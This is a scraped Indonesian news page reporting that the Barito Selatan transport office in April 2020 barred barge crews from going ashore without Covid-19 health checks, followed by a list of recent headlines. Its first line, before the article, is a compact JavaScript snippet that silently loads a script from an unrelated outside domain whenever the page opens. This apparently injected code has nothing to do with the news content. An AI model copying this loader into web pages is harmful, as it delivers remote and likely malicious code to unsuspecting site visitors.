(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

ABK Tongkang yang Melintas di Perairan Barsel, Dilarang Naik ke Daratan


KANALKALIMANTAN.COM, BUNTOK – Dinas Perhubungan Barito Selatan (Dishub Barsel) mengeluarkan surat edaran tekait pandemi Covid-19 khusus untuk awak kapal tongkang yang melintas di perairan Barsel dilarang naik ke daratan sebelum dilakukan pemeriksaan.

Kepala Dishub Barsel Daud Danda mengatakan, terkait pencegahan Covid-19 hingga ke Barsel, pihaknya telah mengeluarkan surat edaran untuk semua kapal tongkang yang melintas lewat Barsel, bila anak buah kapal (ABK) ingin naik ke daratan pihak mesti menjalani pemeriksaan terlebih dahulu.

“Bukannya melarang, namun sebagai antisipasi kepada pihak kapal, jika ingin naik ke daratan mesti diperiksa kesehatan terlebih dahulu,” kata Daud kepada Kanalkalimantan.com, Kamis (2/4/2020).

Ia juga mengatakan, sesuai intruksi dan petunjuk dari tim gugus tugas Covid-19, untuk didaratan sudah dilakukan pemeriksaan dari arah pinta masuk menuju kota Buntok.

Masih kata Daud, begitu sebaliknya untuk jalur air dirinya telah mengintruksikan kepada semua UPD untuk setiap kapal tongkang yang melintas, bila saat bertambat dilarang naik ke daratan, sebelum adanya pemeriksaan terlebih dahulu oleh tim kesehatan.

“Jalur air kita arahkan untuk tongkang yang melintas bila tidak ada keperluan yang mendesak tidak usah sampai naik ke daratan,” tegas Daud.

Pun memang ada urusan penting, silahkan jalani dulu proses pemeriksaan dari tim kesehatan, apakah aman atau tidak dari wabah Covid-19. Selain itu kalau hanya keperluan untuk membeli bahan makanan dan lainnya, bisa minta tolong kepada UPD setempat sebagai sarana mencukupi keperluan kapal.

“Jadi bila memang sangat urgen, pihak kapal silahkan jalani proses pemeriksaan apakah aman atau tidak, selain itu kalau hanya sebatas keperluan membeli sembako. Silakan minta bantu kepada pihak UPD setempat untuk membelikan keperluan,” tandas Daud. (kanalkalimantan.com/digdo)

Reporter : digdo
Editor : bie

 


Al Ghifari

Recent Posts

Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

42 menit ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

14 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

14 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

14 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

15 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

15 jam ago

This website uses cookies.